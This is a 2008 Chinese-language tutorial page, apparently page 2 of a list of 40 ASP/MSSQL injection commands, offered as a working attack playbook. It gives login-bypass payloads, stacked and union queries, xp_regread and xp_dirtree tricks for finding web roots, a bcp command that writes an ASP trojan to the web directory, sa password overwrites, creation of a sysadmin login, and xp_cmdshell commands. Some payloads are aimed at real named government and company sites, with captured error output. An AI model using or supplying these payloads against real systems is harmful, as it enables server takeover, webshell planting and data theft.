ASP注入詳細(xì)命令40條第2/2頁(yè)
更新時(shí)間:2008年05月05日 12:35:51 作者:
asp經(jīng)常利用的注入命令集合
9、 用update來(lái)更新表中的數(shù)據(jù):
<a href='<a ;--
www用戶密碼的16位MD5值為:a0b923820dcc509a,即把密碼改成1;
32位MD5值為: ,密碼為
10、 利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項(xiàng)功能,我們可以先建一張臨時(shí)表,然后在表中一行一行地輸入一個(gè)ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個(gè)runcommand.asp的木馬)。
11、創(chuàng)建表、播入數(shù)據(jù)和讀取數(shù)據(jù)的方法
? 創(chuàng)建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
? 往表里播入數(shù)據(jù):
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
? 從表里讀取數(shù)據(jù):
' and 1=(select count(*) from cyfd where gyfd >1)--
? 刪除臨時(shí)表:
';drop table cyfd;--
12、通過(guò)SQL語(yǔ)句直接更改sa的密碼:
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成了111111拉。呵呵,解決的方法就是把sa給刪拉。,怎么刪可以參考我的《完全刪除sa這個(gè)后門(mén)》。
? 查看本機(jī)所有的數(shù)據(jù)庫(kù)用戶名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
? 更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
13、查詢dvbbs庫(kù)中所有的表名和表結(jié)構(gòu):
? select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
? select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工備份當(dāng)前數(shù)據(jù)庫(kù):
完全備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差異備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和刪除一個(gè)SA權(quán)限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出庫(kù)ChouYFD中所有的用戶建立的表名。
select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0
17、
? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb庫(kù)中所有表中的字段名稱
? select * from dvbbs.dbo.syscolumns where id=5575058
列出庫(kù)dvbbs中表id=5575058的所有字段名
18、刪除記錄命令:delete from Dv_topic where boardid=5 and topicid=7978
19、繞過(guò)登錄驗(yàn)證進(jìn)入后臺(tái)的方法整理:
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6)or 1=1--
7) or 'a='a
8)" or "a"="a
9) ') or ('a'='a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人氣%' and 1=1 and '%'='
20、尋找網(wǎng)站路徑的方法匯總:
1)查看WEB網(wǎng)站安裝目錄命令:
? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (將2換成1、3、4、5試試)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接顯示運(yùn)行結(jié)果,所以不用導(dǎo)出到文件
2)在網(wǎng)站上隨便找到一個(gè)圖片的名字 123.jpg
然后寫(xiě)進(jìn)批處理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt
執(zhí)行后 type c:\123.txt
這樣來(lái)分析網(wǎng)站的路徑
3)SQL服務(wù)器和網(wǎng)站服務(wù)器在同一個(gè)服務(wù)器上,好了是可以執(zhí)行命令是吧?
將執(zhí)行命令輸出結(jié)果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意輸出前Backup這兩個(gè)文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后隨便輸入一個(gè)文件來(lái)訪問(wèn):http://目標(biāo)ip/2.asp
4)針對(duì)win2000系統(tǒng):xp_regread讀取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 獲取WEB路徑
2003系統(tǒng):xp_regread讀取,未找到方法
如:
(1) 新建一個(gè)表cyfd(字段為gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路徑寫(xiě)進(jìn)去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 還是讓他不匹配,顯示錯(cuò)誤:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 將 varchar 值 'Y:\Web\煙臺(tái)人才熱線后臺(tái)管理系統(tǒng),,201 ' 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。
TargeSite: Boolean Read() 哈哈哈。。路徑暴露了。。
(4)接下來(lái)刪除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--
5)用regedit命令導(dǎo)出注冊(cè)表,將導(dǎo)出的結(jié)果保存的路徑到%windir%\help\iishelp\common\404b.htm或者500.asp頁(yè)面
regedit命令說(shuō)明:
Regedit /L:system /R:user /E filename.reg Regpath
參數(shù)含義:
/L:system指定System.dat文件所在的路徑。
/R:user指定User.dat文件所在的路徑。
/E:此參數(shù)指定注冊(cè)表編輯器要進(jìn)行導(dǎo)出注冊(cè)表操作,在此參數(shù)后面空一格,輸入導(dǎo)出注冊(cè)表的文件名。
Regpath:用來(lái)指定要導(dǎo)出哪個(gè)注冊(cè)表的分支,如果不指定,則將導(dǎo)出全部注冊(cè)表分支。在這些參數(shù)中,"/L:system"和"/R:user"參數(shù)是可選項(xiàng),如果不使用這兩個(gè)參數(shù),注冊(cè)表編輯器則認(rèn)為是對(duì)WINDOWS目錄下的"system.dat"和"user.dat"文件進(jìn)行操作。如果是通過(guò)從軟盤(pán)啟動(dòng)并進(jìn)入DOS,那么就必須使用"/L"和"/R"參數(shù)來(lái)指定"system.dat"和"user.dat"文件的具體路徑,否則注冊(cè)表編輯器將無(wú)法找到它們。比如說(shuō),如果通過(guò)啟動(dòng)盤(pán)進(jìn)入DOS,則備份注冊(cè)表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",該命令的意思是把整個(gè)注冊(cè)表備份到WINDOWS目錄下,其文件名為"regedit.reg"。而如果輸入的是"regedit /E D:\regedit.reg"這條命令,則是說(shuō)把整個(gè)注冊(cè)表備份到D盤(pán)的根目錄下(省略了"/L"和"/R"參數(shù)),其文件名為"Regedit.reg"。
regedit /s c:\adam.reg (導(dǎo)入c:\adam.reg文件至注冊(cè)表)
regedit /e c:\web.reg (備份全部注冊(cè)內(nèi)容到c:\web.reg中)
針對(duì)win2000系統(tǒng):C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目標(biāo)IP/2.asp
針對(duì)win2003系統(tǒng):沒(méi)有找到,希望找到的朋友公布出來(lái)一起討論。
6)虛擬主機(jī)下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的備份文件,是允許web用戶訪問(wèn)的,如果你的iis備份到這里,用webshell下載下來(lái)后用記事本打開(kāi),可以獲取對(duì)應(yīng)的域名和web絕對(duì)路徑。
7)SQL注入建立虛擬目錄,有dbo權(quán)限下找不到web絕對(duì)路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和運(yùn)行命令,但是卻很不容易找到web所在目錄,也就不好得到一個(gè)webshell,這一招不錯(cuò):
? 建立虛擬目錄win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
? 讓win目錄具有解析asp腳本權(quán)限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
? 刪除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
? 測(cè)試:http://127.0.0.1/win/test.asp
8)利用SQL語(yǔ)句來(lái)查找WEB目錄:根據(jù)經(jīng)驗(yàn),猜疑WEB根目錄的順序是:d盤(pán)、e盤(pán)、c盤(pán),首先我們建立一個(gè)臨時(shí)表用于存放master..xp_dirtree(適合于public)生成的目錄樹(shù),用以下語(yǔ)句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然后執(zhí)行xp_dirtree獲得D盤(pán)的目錄樹(shù),語(yǔ)句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在進(jìn)行下面的操作前,先查看D盤(pán)有幾個(gè)文件夾,這樣對(duì)D盤(pán)有個(gè)大致的了解,語(yǔ)句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數(shù)字(數(shù)字=0、1、2、3...)
接著,我們?cè)趯?duì)方的網(wǎng)站上找?guī)讉€(gè)一級(jí)子目錄,如user、photo,然后,用篩選的方法來(lái)判斷WEB根目錄上是否存在此盤(pán)上,語(yǔ)句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看語(yǔ)句的返回結(jié)果,如果為真,表示W(wǎng)EB根目錄有可能在此盤(pán)上,為了進(jìn)一步確認(rèn),多測(cè)試幾個(gè)子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的測(cè)試結(jié)果都為真,表示W(wǎng)EB根目錄很有可能在此盤(pán)上。
下面假設(shè)找到的WEB根目錄在此盤(pán)上,用以下的語(yǔ)句來(lái)獲得一級(jí)子目錄的深度:
and (select depth from temp where dir='user')>=數(shù)字(數(shù)字=1、2、3...)
假設(shè)得到的depth是3,說(shuō)明user目錄是D盤(pán)的3級(jí)目錄,則WEB根目錄是D盤(pán)的二級(jí)目錄。
目前我們已經(jīng)知道了根目錄所在的盤(pán)符和深度,要找到根目錄的具體位置,我們來(lái)從D盤(pán)根目錄開(kāi)始逐一搜尋,當(dāng)然,沒(méi)有必要知道每個(gè)目錄的名稱,否則太耗費(fèi)時(shí)間了。
接下來(lái),另外建立一個(gè)臨時(shí)表,用來(lái)存放D盤(pán)的1級(jí)子目錄下的所有目錄,語(yǔ)句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把從D盤(pán)的第一個(gè)子目錄下的所有目錄存到temp1中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤(pán)的第二個(gè)子目錄下的所有目錄存到temp1中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,temp1中已經(jīng)保存了所有D盤(pán)第一級(jí)子目錄下的所有目錄,然后,我們用同樣的方法來(lái)判斷根目錄是否在此一級(jí)子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測(cè)試幾個(gè)例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然后我們?cè)谟猛瑯拥姆椒▉?lái)獲得D盤(pán)第2、3...個(gè)子目錄下的所有目錄列表,來(lái)判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內(nèi)容刪除。
現(xiàn)在假設(shè),WEB根目錄在D盤(pán)的第一級(jí)子目錄下,該子目錄名稱為website,怎樣獲得這個(gè)目錄的名稱我想不用我說(shuō)了吧。因?yàn)榍懊嫖覀冎懒薟EB根目錄的深度為2,我們需要知道website下到底哪個(gè)才是真正的WEB根目錄。
現(xiàn)在,我們用同樣的方法,再建立第3個(gè)臨時(shí)表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把從D盤(pán)的website下的所有目錄存到temp2中,語(yǔ)句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當(dāng)然也可以把D盤(pán)的website下第二個(gè)子目錄下的所有目錄存到temp2中,只需把第二個(gè)top 1改為top 2就行了。
現(xiàn)在,我們用同樣的方法判斷該目錄是否為根目錄:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回為真,為了確定我們的判斷,多測(cè)試幾個(gè)例子,方法上面都講到了,
如果多個(gè)例子都返回為真,那么就確定了該目錄為WEB根目錄。
用以上的方法基本上可以獲得WEB根目錄,現(xiàn)在我們假設(shè)WEB根目錄是:D:\website\www
然后,我們就可以備份當(dāng)前數(shù)據(jù)庫(kù)到這個(gè)目錄下用來(lái)下載。備份前我們把temp、temp1、temp2的內(nèi)容清空,然后C、D、E盤(pán)的目錄樹(shù)分別存到temp、temp1、temp2中。
下載完數(shù)據(jù)庫(kù)后要記得把三個(gè)臨時(shí)表drop掉,現(xiàn)在我們?cè)谙螺d的數(shù)據(jù)庫(kù)中可以找到所有的目錄列表,包括后臺(tái)管理的目錄以及更多信息。
相關(guān)文章
關(guān)于Asp代碼與頁(yè)面的分離模板技術(shù)
使用模板實(shí)現(xiàn)ASP代碼與頁(yè)面分離,以后用asp就可以更方便的前后臺(tái)分開(kāi)制作2008-04-04asp通過(guò)JMAIL實(shí)現(xiàn)通用發(fā)送函數(shù)
asp通過(guò)JMAIL實(shí)現(xiàn)通用發(fā)送函數(shù)...2007-08-08asp下request.querystring("id")與request("id&quo
一下問(wèn)題一天遇到2次,復(fù)制過(guò)來(lái)以供下次參考,一般來(lái)說(shuō)還使用萬(wàn)能的request("id")比較好2008-01-01asp中判斷服務(wù)器是否安裝了某種組件的函數(shù)
檢查是否存在系統(tǒng)組件或組件是否安裝成功,方便繼續(xù)的操作。給用戶更好的信息指示。2010-12-12ASP與Excel結(jié)合生成數(shù)據(jù)表和Chart圖的代碼
ASP與Excel結(jié)合生成數(shù)據(jù)表和Chart圖的代碼,需要的朋友可以參考下。2009-12-12windows2003下使用asp WScript.Shell的設(shè)置方法
在windows2000下,IIS默認(rèn)設(shè)置是可以web和可執(zhí)行程序通信的。但是在2003下IIS關(guān)于這方面的服務(wù)是禁止的。2007-12-12PJ-Blog教程┊增強(qiáng)博客用戶體驗(yàn)~讓發(fā)表內(nèi)容的同時(shí)拷貝到剪貼板以防丟失
PJ-Blog教程┊增強(qiáng)博客用戶體驗(yàn)~讓發(fā)表內(nèi)容的同時(shí)拷貝到剪貼板以防丟失...2007-01-01